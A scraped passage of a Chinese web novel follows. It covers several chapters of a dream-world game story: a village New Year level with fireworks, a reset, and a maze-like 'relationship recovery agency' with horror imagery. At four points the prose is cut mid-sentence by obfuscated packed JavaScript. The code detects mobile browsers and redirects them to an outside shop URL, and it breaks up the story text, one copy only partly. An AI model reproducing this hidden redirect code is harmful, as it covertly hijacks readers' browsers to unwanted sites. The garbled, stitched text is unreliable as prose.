郁向晚就在旁边守着她,裴心念能听见一点窸窸窣窣的声音,但最终还是没压倒困意,先迷迷糊糊睡着了。 等到他重新回被窝的时候,裴心念几乎没醒,但嘴比脑子先动。 “都快不热了。” 她抱怨道。 郁向晚紧紧搂住了又开始打瞌睡的人。 “晚安。” —— 第二天早上,可能是冬天容易睡懒觉的原因,裴心念一直等到肚子饿了才睁开眼。 睡到自然醒的感觉很不错,真好啊。 在塞塔梦境里补觉是一件比较小众的事情,但她确实这么做了,而且还在计划以后能不能也继续这样。 裴心念翻了个身。 郁向晚刚刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17066360|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出门了,明明她醒了但没睁眼的时候他还在。 “汪汪汪?”门口传来对暗号的声音。 “进来吧。”裴心念一个鲤鱼打挺从床上坐起来,揉了揉乱糟糟的头发。 这个暗号还是她刚刚不清醒的时候想的,似乎对方执行得毫无心理负担。 郁向晚其实大部分时候都是这样无可无不可,在交际方面相当随性,游艇上的行为属于反常情况,不具有普遍的参考价值。 “拿了一点年糕和鸡蛋面上来,吃点早饭再出门玩。”郁向晚把端上来的盘子放好,坐到床尾等她。 “我就知道你最好了。”裴心念笑得眯起眼,闻到空气中甜甜的气味就心情好,丝毫不吝啬地进行夸奖。 其实说的话根本不往心里去,这一点郁向晚和她相处这么多年,应该早都习惯了。 不过他每次都很受用。 裴心念伸出胳膊来,套上对方递过来的毛衣和棉袄,快速解决了早饭肚子问题,两人就这么并肩出了房门。 楼下李春华依然是一脸过分热切的神情,甚至都没有对郁向晚身份的任何一点儿盘问。 人家也是有任务在身,裴心念表示理解。她不再尝试沟通,绕过人就往外走。 不过走到一半,她还是折返回来: “妈,结婚的事年后再提,你出门走亲戚就别说了,人多知道了不方便,白白赔了福气。” 如果李春华的任务只是让她找个人嫁了,那她对这个小小的要求应该不会在意。 验证一下具体任务内容。 裴心念仔细观察着她的最细微的神态变化。 如果反应大呢,她的任务可能会更复杂一些。 “行行行。”李春华挥挥手,“这有什么,你有个着落就行。” “我还怕小伙子被别人抢了去呢,不会多说的。” “谁怕被抢走还要两说呢。”裴心念轻轻啧了一声,转头离开。 她和郁向晚在村子里到处晃荡,尤其注意寻找灌木丛和小树林,捡了不少树枝,修剪得很漂亮,拿在手上,作为点烟花的工具。 这过程中,很不巧地碰到了在外冻得如同雕塑的两人。 “你们不会是昨天晚上一直在外面吧……” 裴心念总觉得林木打算碰瓷自己,连忙躲到郁向晚身后。 这个人高马大的文盲一看身上就凉嗖嗖的。 也就是南方不下雪,他们俩才没有变成雪人。要是不小心碰到了,传染感冒怎么办? “你们到底有什么问题?”裴心念从郁向晚身后探出眼睛,不满地问,“这是可以算作骚扰跟踪的,信不信我打电话报警。” “不是的,不是的,我们只是想要守株待兔而已——” 林木连忙解释,不过越说越乱。 “我们三个人都不是这里的人,在外边等不是很正常。”方衡皱眉,把手中露出一角的白纸重新塞回口袋,“难道他就在房子里过夜了吗?” 裴心念很奇怪:“你们不是昨天晚上看着我和他一起进家门了嘛。” “我邀请男朋友回家,还要让他站在房子外面等啊?” 简直不可理喻。 这位前男友就是如此不可理喻。 不知道是哪一字得罪了他,此人听完扭头就走。 “诶!”林木喊了一声,脚步倒也没挪窝。 裴心念挑了挑眉。 朋友走了也不跟上去劝劝,偏偏守在她身边,这个人的行为逻辑也很奇怪。 39.第五关(6) 林木怪得和李春华如出一辙,有种身不由己的无力感。 倒是方衡,虽然人也别扭,但他的行为好歹可以理解,不就是被驳了面子嘛。 裴心念抬起脚尖,在地上划了个半弧,点了四下,这些人暂时圈定了身份。 按照系统的说法,有四个人被卷入了这次异常的多梦主关卡。 目前确定有她和郁向晚,剩下两票,她投给李春华和林木。 至于妹妹、小卖部婶婶、方衡,这些人应该都是梦境关卡原有的NPC。 按照目前掌握的情况来看,几个梦主之间的任务不是完全相同,任务本身也没有真正意义上的竞争性,因为是意外导致随机重合的关卡,并不是大逃杀类型。 但无意之中,可能会对彼此之间的任务产生阻碍或助力。 裴心念对郁向晚眨眨眼,拉起他的手就往反方向走,步伐放得有些慢。 林木在原地犹豫了一会儿,还是选择跟在裴心念身后。 “你们不可以死灰复燃吗?” ……用词有种被知识污染一半的美感。 裴心念半偏过头,问:“你会说什么话?” “什么?”林木停下来认真思考她的问题。 “英语、家乡话之类的?” “不会外语……我说的就是普通话吧。” 林木突然顿悟似的,眼中迸出期盼的光:“你是说我没有口音嘛!” 零国语言掌握者。 裴心念哽了一下。 对于太过真诚的笨蛋,她通常没什么戏弄的欲望。 毕竟人家可能根本感受不到讽刺,只能理解字面意思。 “你这次来的目的,只有让我们死灰复燃吗?” “嗯,这样就好了。还有就是,不要让方衡上当受骗。”林木的眼神很清澈,像未开智的小动物。 和星云还不一样,人家小猫起码会自己查星网做养人攻略呢! 郁向晚本来打算说话,裴心念掐了掐他的掌心,让他暂时别出声。 她继续问:“他为什么会上当受骗?” 先让她套完话了再说! “为了挽回你。”林木小声道,“所以我想直接和你说好,这样就不会有问题了。” 郁向晚实在忍不住:“他不是和念念分手了吗?我看也没有想挽回的意思。” “他怎么没有,剩下的钱都给挽回机构的骗子了。”林木愁眉苦脸,“我连骗子的联系方式都找不到,要完蛋了。” “为什么会完蛋,你要把钱要回来吗?”裴心念上下打量对方,连个包裹都不见,可能真是口袋比脸干净。 “你怎么知道!”林木眼前一亮,充满期待地望着她,仿佛裴心念能帮忙一样。 “这个钱,是一定要从骗子那里要回来吗?” “那倒不是。”林木纠结道,“只要能找到相同数目的钱就行了。” 裴心念微笑起来。 林木的任务是帮助方衡挽回她,并且追回交给骗子的钱。 他看起来是第一次来到塞塔梦境,把裴心念等人完全当作不会怀疑、只会帮助完成任务的NPC,说话做事都不怎么过脑子。 裴心念还是倾向于认为他虽然有点文盲,但基本的大脑功能没有受损的,只是没有经验。 不然塞塔梦境要他的意识体干什么,很污染数据库啊。 “钱的事情你可以跟着我们,想想办法。” 裴心念将手在胸前交叉:“不过方衡的事你说也没用,我才不会再要他这种讨厌的人呢。” 林木跟在两人身后。 “方衡不来,难道是你跟念念道歉?”郁向晚跟裴心念换了个位置,止住对方马上要迈上前的步伐,“你连前男友都不是,这很冒犯知道吗。” “我——”林木的话没出口,郁向晚就打断了他: “我说让你滚,你打扰情侣约会了。” 裴心念专注寻找根据地,最好是方便搭一个挡风小据点的地方。 此时她转过头来,发现两人已经吵到不可开交,林木黑着一张本来就黑的脸,似乎在考虑能不能对NPC使用武力。 站在她身旁的郁向晚也没好到哪里去,拧着眉,仿佛在看街边的老鼠。 啧,怎么感觉他最近火气这么大。 这不太像他。 “不要生气嘛。” 她慢悠悠地转过身,把手里的几根树枝塞到郁向晚手里,抚了抚他衣领旁边的褶皱。 郁向晚按住她的手,摇了摇头。 等裴心念在他脸上逐渐浮现的笑意中看出端倪的时候,林木早就跑远了,也不知道怎么想的。 “演的啊?”裴心念抽回手。 “这种人就是不能给好脸色的苍蝇,你管他那么多呢。”郁向晚没有正面回答裴心念的话,抱怨道。 “他应该是个梦主,跟在旁边还能控制一下行为。”裴心念耸耸肩,对此并不上心,只是顺手的事,“你不觉得可以利用利用吗?” “可以是可以。”郁向晚承认,“但是太烦了,眼不见为净。” 裴心念抿唇,不置可否。 她最终找到了一个相当满意的位置。 在某个农田旁水井的背光面,有一块小小的操作台,不知道以前是用来混合农肥还是搭建灶台,总之可以用来存放烟花和火石,还有地上还有零星的模板,可以用来挡风,足够升起一个火堆。 天色逐渐暗下来。 天空和远处公路的连接处,有一道明显的靛青色与土黄色的分界线。从这里开始,黄昏逐渐包围整座村落。 村里人不多,即使已经到了除夕夜,放眼望去,还有十之二三的房屋没有点上灯火。 或许是不舍得现在就开灯。 裴心念和郁向晚相对站着,形成一个小小的圆圈,用背把身后的寒风人为地隔开,当然还有一部分是来自选址的地势之利。 火苗冒起来了,在她脸上映出小小的光亮,还不足以和天光相较量。 裴心念拿了一根尾部带着枯草的树枝,点燃,然后几步地跑到提前摆好的烟花阵旁边。 一,二,三,一共有三个烟花筒,一起烧起信子。 裴心念把已经不再燃烧的树枝扔下,快速跑回小小的堡垒。 郁向晚在这里接住她,好像知道刚刚跑到风里很冷,所以揽住她肩头努力要渡一点热气。 裴心念举着两只胳膊,冰凉的两只手很精准地扒住他的两边脸颊,还盯着烟花筒的上方。 她做这些小动作当然是不需要用眼睛看的,非但如此,一瞄准就偏了,全靠肌肉记忆。 郁向晚把双手覆在她手上,一起抬头看。 “轰——” “砰砰!” “哗啦啦——” 先是点燃,上升,在空中停留一瞬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079606|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就雨一样洒下来。 风像刀子撞在脸上身上,却奇妙地撞不散这些在最高处分外脆弱的焰火。 在中央星看多了赛博烟花,禁止燃放危险物的地方却好久没有见到这种可能会烧焦发梢的东西了。 裴心念睁大眼,很使劲地看。 其实只有一瞬间,但她貌似领到了加长的折扣券,在眼中延长了烟花的形状。 要是她有个地方能一直看黄昏,一直在黄昏放烟花就好了。 裴心念想到游艇上荀行的随身实验室,那样的方式可以实现吗? 或许塞塔梦境本来是某个人创造来看烟花的。 星星一样的光点划过天空,最后一眼的时候,她突然福至心灵,想到一个很荒唐的可能性。 郁向晚又去点燃了另一种款式的烟花,跑回来拍拍她。 “三,二,一!” 裴心念已经抬头注视着正上方等待,这好像是个超级厉害的冲天炮,店主说会很吵,小孩需要捂住耳朵,避免听力受损。 她把双手放在耳边等了又等,一直没见焰火。 扭过头,倒是见到郁向晚在身后猛烈地咳嗽。 “你说什么?”刚刚他好像说话了,她没听清。 “嘭——!” 郁向晚的回答被哑火后终于被点燃的下一个冲天炮压过去。 裴心念没来得及再问一遍,系统的声音响起。 【梦境关卡任务判定中——】 【任务失败】 “为什么?” 【虽然梦主确认了婚事,但订婚对象在村里名声大噪】 【推演可得,李春华走亲戚时会被问到订婚对象的问题,顺口也会聊催婚心得】 ……催婚心得也算催婚啊。 也难怪,妹妹亲眼见到了他在算命,村里又只有百来号人,几乎半数都在郁向晚这里诊断过自己的大运走势,郁向晚简直是大明星了。 身后的人已经消失。 除夕夜的鞭炮声一响,这个关卡就被重置了。 裴心念在小小的街机游戏店里翻了个身,暂时不想起来。 她的初始化场所就在这间店面,至少是这里的员工。 不过从头到尾没有见到老板的存在,说不定她就是这里的主人呢。 裴心念在自己身上重新摸了一遍,确认没有出现新的通讯工具。 郁向晚的任务应该已经完成了,这次出去连熟人都见不到,不知道李春华是否也会成功通关离开。 该采用什么策略呢? 她打算出门先像上次一样攒点钱,然后再议。 但此时,禁闭的卷帘门居然传来了巨大的声响。 “哐当”带动着一阵一阵的哗啦啦啦响,来人仿佛想要把整个店面都砸倒,听起来十分吓人。 裴心念突然想到系统上次介绍这个关卡时,说的是“梦核”。 “这里不会有能吃人的诡吧。” 裴心念在脑海中联系自己的系统。 【目前关卡无生命危险,请梦主不要过分担忧】 好吧。 裴心念勉强从倒在地上的姿势改成抱膝坐着,从卷帘门的门缝中感受冬天的无孔不入的冰寒。 她算是明白上周目自己为什么一回屋躺下会那么冷了。 是从关卡一启动就在积累的过度风寒,积攒到进入温暖环境之后,变本加厉地反扑。 40.第五关(7) 她为什么会大冬天直接睡在街边店里的地上? 裴心念皱眉,觉得自己接触地面的每一寸皮肤都冷,站了起来。 “裴同学?”巨大的声响之后,门外的人仿佛刚刚想起来可以直接喊话,犹豫地问。 “你还在吗?不会是不省人事了吧?” ……怎么说,这次用得还挺精准。 裴心念知道外面是林木,听不出来方衡在不在他身边。 这倒霉鬼果然是没有完成任务的另一个梦主,现在直接找上门了。 裴心念走到门边,抬脚踹了一下卷帘门的下半部分,表示自己听到了。 “你别吵了,隔壁一条街都要醒了。” 她哐哐拍了两下门,随即在里面找到拉扣,将门艰难地抬起来。 “太好了,你真的在这里。” 林木看到她就两眼放光,似乎自己离开塞塔梦境的希望就在眼前招手一样,十分殷勤,帮忙一起将沉重的金属举起来卡住。 “你怎么知道我的位置?”裴心念毫无预兆地松开手,看着突然脱力的林木惊慌失措地调整自己的力道,默默站得离门远了一些。 “你,你别害怕。”林木把她为了自己生命安全着想的动作误会了,以为裴心念是因为遇到陌生人害怕,“我是方衡的朋友。” “他告诉你的?”裴心念皱眉,摆出一副马上要发火的模样。 “不是,不是……”林木对此非常慌乱,生怕裴心念在心中对她前男友的评分再次降级,连举在手里的东西都顾不得了,整个人呈一个大字型就开始叽里咕噜地说话,力求快点扭转裴心念的印象。 “他没有特别跟我说你的地址,是我想出来的!”林木急忙道,“他平时经常说你在这里看着游戏店,我在镇上找了一圈,只看到几家外面有招牌,所以来的。” 裴心念默默翘起唇角。 这岂不是说明林木已经打扰了这个镇上的其他游戏店,想到世界上有几个人和她一样没有睡好觉,她就想笑。 “你来找我干什么?我和方衡已经分手了,这你总不会不知道吧。” 裴心念在他旁边仿佛闲庭信步一样踱来踱去,指挥着林木把门整理好,又招呼他上街去招徕顾客。 反正路子在上一周目已经打通了,无非是吸引小孩进行一番滚雪球宣传,很容易的。 她实在是犯懒,于是让林木代理跑腿任务。 这人虽然笨口拙舌,胜在努力,记性也还行,裴心念大概知道几个对话的情景,让他背完台词去找人宣传,效果也依然不错。 “哒哒哒”,小镇的街机店重现了之前的繁荣盛景。 裴心念靠在墙边,平视着支支吾吾的林木。 老大个子,但是对自己的操作不自信,林木现在整个人蜷缩着背,一副任她批评的模样。 “你说方衡上当受骗了,那应该报警去啊。” “不是的,如果不能挽回,他下次还会上别的当。” “当当不一样。” “你不知道,他不仅是报了挽回机构的班,还找了好几个大师算命问能不能复合,又买了三串珠子轮着带。” ……怪不得当时看着郁向晚忽悠老人家的时候,方衡的表情那么复杂呢。 合着是遇到了专业对口的骗子,但是碍于情敌身份,不方便上前买一票来试试。 “我看他也不是那种笨笨的人啊。”裴心念对此持怀疑态度,万一是卖惨呢? “他都能和我在一所大学上学了,怎么还会这么容易被骗?” “这个……这个。”林木无法回答。 其实他对这个任务也不太理解,明明可以直接联系她来复合的,当初又不是裴心念甩掉的他,难道就没有直接一点的挽回方式吗? 也许是关卡特意设置的难度吧,塞塔梦境总有它的道理。 林木对裴心念提议道:“他也在赶来这里的路上,你们要不然见一面吧?” “先不要回村里,在镇子上萍水相逢。” 林木睁着眼睛说瞎话。 实际上,不回村子只是为了防着上一次的郁向晚而已。 天杀的小三,上一次任务一定是因为他才不成功的! 裴同学这么温柔,如果不是被那个突然出现的小三蛊惑,怎么会一点儿也不考虑往日情分呢? 林木对自己采取的方针非常满意,觉得简直是必胜策略。 不过裴心念对此有要求:“在镇子里见可以,但我要在除夕夜回家。你总不能让我留在这个人生地不熟的地方过年吧。” “嗯嗯,当然!”林木拍着胸脯保证。 “结束之后,你也得跟我一起回去。” “嗯嗯,当然!”林木一脸单纯,还不知道自己即将面对的是什么样的压榨。 于是两人在镇上四处游走,试图找到一家可以落脚的地方。 最后得出的结论是,春节大家都闭门谢客了,只有饭店还开门,但是进去坐着不吃点饭又过意不去。 两人现在手里攥着的钱,裴心念可是要带着回去坐车,以防不备的。 当然没有那么阔绰,可以花钱买座位。 “看来只能到我的街机店里去了。” 裴心念耸耸肩。 两人重新回到一开始赚钱的店面,并没有继续开张,而是在大门口贴了个“暂停营业”的标志,裴心念指挥着林木把店里的垃圾都打扫干净,包括但不限于小孩进来乱丢的零食袋子包装、走来走去脚底粘带的泥土,以及最顽固的口香糖遗址。 裴心念一边看一边拍了拍自己的衣服,总觉得开场在这种地方直接躺着睡觉未免也太落拓不羁了,十分潦草。 有些东西就不能细看,细看是一种残忍。 林木手里擎着从店面边角搜刮出来的工具,正在艰难地进行凹凸不平的水泥地面的清理工作。 他力气倒是很大,有的口香糖一看就积年已久,轻轻一铲也能撬起来。 感觉很适合当个保镖之类的。 裴心念思索着,这样的梦主在现实生活中会过着什么样的生活呢? 星际时代,蛮力似乎不太有用。 她悠闲地在店里几平米见方的场地上踱来踱去,尽管没有故意要走到林木身前,他的眼前还是出现了她的帆布鞋。 “那个……”林木犹豫了半天,终于还是没有说出口,脸憋得通红,扫帚不敢碰到她的方向。 “怎么了?”裴心念微笑着走上前几步,看出来对方在盯着自己的鞋子,非常大方地抬脚,没有任何收力,直接踩在对方的旧布鞋上。 反正也落了很多灰,上面补丁不计其数,应该不差她这一脚。 裴心念欣赏着林木错愕的表情,慢悠悠地碾了几下。 为什么这么做呢? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087196|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >当然是因为这位林木的朋友已经到门口啦。 她才不想和他复合呢! 方衡最好是进来和她大吵一架,然后就此把什么挽回机构的联系方式都扔到犄角旮旯里去。 速战速决,速战速决啊! “你们在干什么?”方衡站在门口,话语中的怒气没有达到裴心念的预期。 难道他觉得这样是可以理解的? 裴心念扭过头去,对着突然出现的那张无波无澜的脸,没什么话想说。 真是天生一副催债的苦大仇深样。 她撇撇嘴,不打算回答对方的问题。 “呃,在等你过来,聊一聊。”林木在裴心念身后,原本华丽的成语储备也没有了,心虚地垂头看了一眼她。 裴心念莫名其妙。 他对坑NPC这件事很有心理负担吗? 实在是个从里到外、从文到理的完全体笨蛋。 方衡也踏入这间小小的店面,不着痕迹地环视了一圈。 “你的眼镜。”他伸出手,递给裴心念她的黑框眼镜。 和上一周目差不多的初遇场景,只不过这次没有新年快乐,说话的语气也比陌生平常更冷淡一些。 还是有用的吧,她的挑衅。 “等一下,要坐——”林木伸出手使劲比划,尝试让裴心念理解他们还没有做好的准备。 两个人聊一聊,不是在市里那种高档的咖啡厅,也应该是有两张凳子坐着的吧! 这么站着,实在是太像要骂街吵架了。 “方衡,你去隔壁借两张凳子来吧。”林木最后还是选择支开方衡。 因为刚刚没来得及完成的准备远远不止这一项。 “我怎么知道他这么快就到了!” 林木手忙脚乱,在小小的街机店里团团转,裴心念就看着他转圈。 “要什么?”她伸出一根手指,把旋转的陀螺戳停,问。 “有纸笔吗?我得告诉他一点事情。”林木急切道。 “……可以去借。”裴心念很有些怀疑,“你会写吗?” 显然有些字是不会的。 裴心念在纸上看着旁边早餐店主帮他写“有个小三在村里”“快点拥抱”“说自己错了”这几句提醒语的时候,不禁怀疑林木究竟是不是脑子里缺了一根筋。 “这是你要给方衡看的秘密信息?” “对对。”林木点头,隐隐约约觉得有点不对劲。 “目的是瞒着我?提前告诉他村里的情况,还有教他怎么做?” “……”林木不说话了。 “你不能因为自己看不懂,就觉得我也看不懂。”裴心念努力忍住让自己不要嘲笑小文盲,“除非我是瞎子。” 当然,在方衡没有把眼镜递给她之前,事实可能无限接近于此。 “我可以当作没看见。”裴心念摊手,“但你要保证等下不管结果怎么样,都得陪我回村里。” 本来她也没想帮林木完成任务,有个把柄确认自己的目的能实现就行。 按照林木这个堪忧的操作水平,这个级别的梦境关卡交给他,还不如让他直接和五只鳄鱼在原始森林搏斗。 起码人傻力气大。 林木不得不答应了她的要求。 两人终于写好无用的提词器回来之后,只见方衡静立在两张凳子前,一言不发地盯着两人看。 41.第五关(8) “咳咳,你先看这些。” 虽然整个过程破绽百出,补丁千疮百孔。 但既然基本操作到了,总不会有什么问题吧—— “我们已经分手了。”结果方衡一句也没按照提词器上的说。 林木这个月老有点丧气,宽大的肩膀松懈下来,像一只不太聪明的狗。 “我觉得我要重新申明一遍,可能之前对你和我的一些朋友都没说清楚。” “提分手是因为我不爱你,不是闹脾气的小事情。”方衡严肃道,“也不需要别人搅和。” 被迫参与搅和的林木叹了口气。 他也不想啊。 如果没有任务在,他还觉得裴心念就应该把方衡这种老气横秋的人踹掉嘞。 “哦。”裴心念点点头。 “那你参加什么挽回机构呢?林木怕你被骗了。” “……”方衡沉默了几秒钟。 “我只是在想有没有办法让自己更爱你一点。” 裴心念和旁边的林木面面相觑。 这个思路在场恐怕没人能懂吧。 因为觉得自己不爱女朋友所以分手,分手之后还去花钱找人纠正自己的想法,这样弯弯绕绕之后,他是希望重新复合吗? 真是让中间商狂赚差价。 裴心念摇摇头,有这事可以直接告诉她,挽回的费用直接打在她账上不就行了。 “你之前说想要自己开一家游戏店。” 方衡仿佛没有看出来在场的另外两人有多么无语,继续自己的话语,“原本的店主我联系她买下这里了,买卖合同在这里。” 方衡从自己的外衣口袋中拿出一沓纸,交到裴心念手上。 他好像那个送信的信使,每次见面都在给裴心念递东西。 “我们都是大学刚毕业吗?”裴心念茫然地举着手里的合同,她记得从林木的说法里来看,方衡和她一样是从自己家乡离家千里出来上大学的呀。 什么时候攒了这么多钱,还能买店面。 要是资产可以带塞塔梦境就好了,裴心念有点感伤地摸了两把雪白的A4纸。 “在说什么?新产权证需要你自己年后去走流程。”方衡盯着她,继续语出惊人,“如果有需要,我可以陪你去。” 爱没有钱很多到底是什么剧情。 裴心念默默回想起上一周目的场景。 当初方衡被郁向晚气走之前,好像确实想给她什么东西来着。 难不成就是这张买卖合同。 “咳咳。”林木终于从惊讶中反应过来,努力地挤眉弄眼,提示方衡,“约她一起去准备!” 方衡充耳不闻,当了一个相当无情的瞎子和聋子。 “小三,小三!”林木从喉咙里挤出声音,像刚从沼泽地里钻出泥泞的水牛,哞哞的。 他尽力了。 然而接到提示的方衡只是问:“他对你好不好?” “谁?” “小三。” “应该挺好的……吧。”裴心念久违地感受到有点尴尬。 “你钱很多吗?”她对眼前这个看起来非常古板的人的金钱观产生了极大的怀疑。 不仅被系统判定为给骗子骗了,还买了间自己根本不会用到的店面。 “对不起。”方衡没头没脑地对她道歉,眉心蹙着,“之前说好分手就把我的钱都给你的,你没有要,我就自作主张买了这里。” “如果你改变想法了,买完店面剩下的也都是你的。” 裴心念拉着林木往后退了两步。 她怎么感觉这是系统的陷阱呢。 “滴滴——” 方衡身上在响。 就在裴心念幻视他其实是个系统投放的机械时,他从口袋里拿出了一块砖头一样的bb机。 “别接!” 林木惊恐道。 已经晚了,方衡按下接听键的那一瞬间,整个街机游戏店都被刺眼的红光笼罩。 【警告,梦境关卡不稳定,即将重置】 裴心念在这一声警告之后,狠狠向下摔在了地面上,整个尾椎骨都发麻。 视线中的红光没有散去,反而越演越烈,在无机质的世界中扩散。 她这是像荀行那样,在重置的时候随机了位置吗? 真是倒霉。 裴心念龇牙咧嘴地站起来,扶着自己的腰,努力想要看清周围的环境。 四通八达的走廊,在各个角落的上方都有闪着红光的探照灯,如同怪物的眼睛,正在巡视脚下的土地。 “这是哪里?”她问梦境系统。 【依然在本关卡之中】 这还用它说。 裴心念撇嘴,她想知道的是具体在关卡的哪个角落里。 梦境系统保持沉默,活脱脱一位人工智障。 唉,她很是怀念自己的修改器。 果然还得要自己调试出来的才用得顺手啊。 刚才方衡一接起电话,这里就紧急重置,应该和电话那一头的通话者有关。 而且连林木都反应那么快,觉得有危险,说明是他很熟悉的事物。 裴心念快速在脑子里过了一遍林木自从出场以来,讲过的所有话。 其中出现频率最高的,恐怕除了小三就是所谓的挽回机构了。 会是这里吗? 裴心念没有修改器,不能直接抽出水管,只好小心再小心,沿着走廊的一边,选了一条路走。 走了两步,背后的墙壁触感变得很柔软,几乎能陷进去。 裴心念下意识弹开,回头,和一张微笑着的人脸对视上了。 这不是最恐怖的。 恐怖的是,这张脸分明是李春华的模样! 裴心念拔腿就跑。 身后的怪物也不追,只是在四面八方传来一种空灵的声音,幽幽道:“挽回感情——成就良缘——” 到底是谁要在这种地方喜结良缘啊。 直接跳过生同衾,快进到死同穴了吧! 她一边跑一边注意看脚下的颜色,从一开始的红色逐渐过渡到蓝紫色,走廊错落分布如同迷宫,只有一部分的分支才是不同的颜色。 这是什么意思呢? 裴心念想不出来的事情,就更不能指望梦境系统了。 她只能硬着头皮往不同颜色的分支里跑,试图通过赌命的试错来得到答案。 颜色越趋向深蓝,相对应的分支里面怪声越少,头顶的光线也更暗,应该是探照灯数量减少的原因。 她撑着膝盖在一处蓝得几乎像是墨色的走廊入口喘气。 实在跑不动了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098788|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讨厌跑步。 她应该接近这个迷宫的出口了,裴心念想着,下一秒颤颤巍巍踏出脚步,肌肉因为过分爆发的酸痛而难以控制力度。 眼前倏然划过一道高大的黑影。 裴心念提着一口气连连后退,但事实上也只拉开了一点儿距离。 不应该这么倒霉吧…… “找到你了!” 林木清澈到有点傻傻的笑容此时都是如此令人舒心。 裴心念一口气终于吐了出来。 深蓝代表着更平静更安全,她的推测应该没什么问题。 她和林木并肩走着——具体点说,是裴心念整个人的重量都靠着对方来行走——直到眼前出现迷宫的出口。 “这里就是挽回机构,红色代表情丝太多,一团乱麻,收费更高。” 林木背出了方衡告诉他的规则。 “那边的深黑色是什么意思?” 裴心念挂在林木身上缓了一会儿,用力往旁边指了指。 她刚刚也注意到了,这里不只有红色和蓝紫的色相区别,还有明度的区分。 那边的颜色都快接近黑雾的浓度了,总感觉也不是什么好东西。 “是来这里次数太多也没解决问题的钉子户。” 裴心念扭过头,一瞬不瞬地注视着那黑雾。 这么说,方衡应该在这些黑布隆冬的东西里面喽。 “诶诶诶,你怎么还往前走。” 裴心念自己没力气,全凭着林木移动,只能有气无力地喊:“不管方衡了吗?” 这地方看着不像什么风水宝地,裴心念望了一眼代表着远离危险的出口,不明白林木为什么这时候弃他的任务目标于不顾。 “谁知道他躲在哪里啊。”林木闷声道,“我先送你出去,等下回来找找。” 裴心念想要开口对这位梦主的积极性进行一番评论,被从天而降的圆球状东西吓了一跳。 她死死抓住目前唯一可以当作肉盾的林木,拼尽全力让自己转了个方向,躲到他身后。 林木向后抓住她的手,护着裴心念继续往外走,用两人能实现的最快的速度。 裴心念被晃了晃眼睛。 那颗圆球上的皮肤被剥落,依稀能看出凹陷的头骨构造。 一颗人头。 出口处向那块深黑色的区域,蜿蜒而生暗红色的烟雾。 沿着这烟雾,不断掉落下类似的东西。 裴心念拍了拍前面人的背,“你没事吧?” “没事。” “没事就赶紧跑,别管方衡了!” 她现在有点后悔当初接到方衡递过来的眼镜就带上了。 这明明就是实景体验恐怖片。 裴心念半眯着眼,一口气憋住,直到和林木一起冲到泛着白光的出口处。 遗憾的是,这里看着也不像是逃离苦海的终结点。 无机质的玻璃材质地面和墙体,无尽延伸的空间。 白光亮到几乎刺眼,裴心念联想到几次出现危险流窜意识体的场景。 十步开外站着一个人。 裴心念抓住就要冲上去先下手为强的林木,“是方衡的格子衬衫。” 林木被她拽住正发愣,眼见着自己的任务目标回头,一言不发,静静地盯着她们两人。 42.第五关(终) “你不走吗?”裴心念松开抓着林木衣摆的手,上前几步。 “你根本没有被骗,林木是以为你被骗了,实际上你随时都可以走出来。”她环视了一圈身后的亮白色建筑,视力适应近乎雪盲的体验后,她勉强能看见隔间后穿着同样雪白工作服的人。 那些人显然看不到外面,这是单向的结构。 方衡站在这里干嘛呢? 看着像在监工巡视。 方衡姿态依旧,神情是他惯常的严肃,并没有见诡的惊惶。 裴心念得出一个大胆的结论。 “这个机构是你的。” “你赚来给我的钱,有很大一部分是从这个机构里来的吧?” 就说怎么一毕业人家赚这么多呢。 来钱快的路子都在星际法上写着好吧。 “我只是想请人帮忙解决我的疑问。”方衡并没有否认她的猜想,“不过一直没有解答,或许只能归结到与生俱来的东西上。” 裴心念和林木交换了一次眼神。 林木的下颌收紧,明显是在紧咬牙关,时刻准备着应对突发的危险。 “你的结论还是不爱我?”裴心念顺着方衡的话说,看到对方迷茫地点了点头。 “那可以帮我一个小忙吗?” 毫无逻辑的转折。 不过方衡暂时还没有学会拒绝她的请求。 —— 裴心念回到了小渔村的家中。 她没有看到李春华的身影,这位梦主大概已经离开了梦境,在现实中苏醒了。 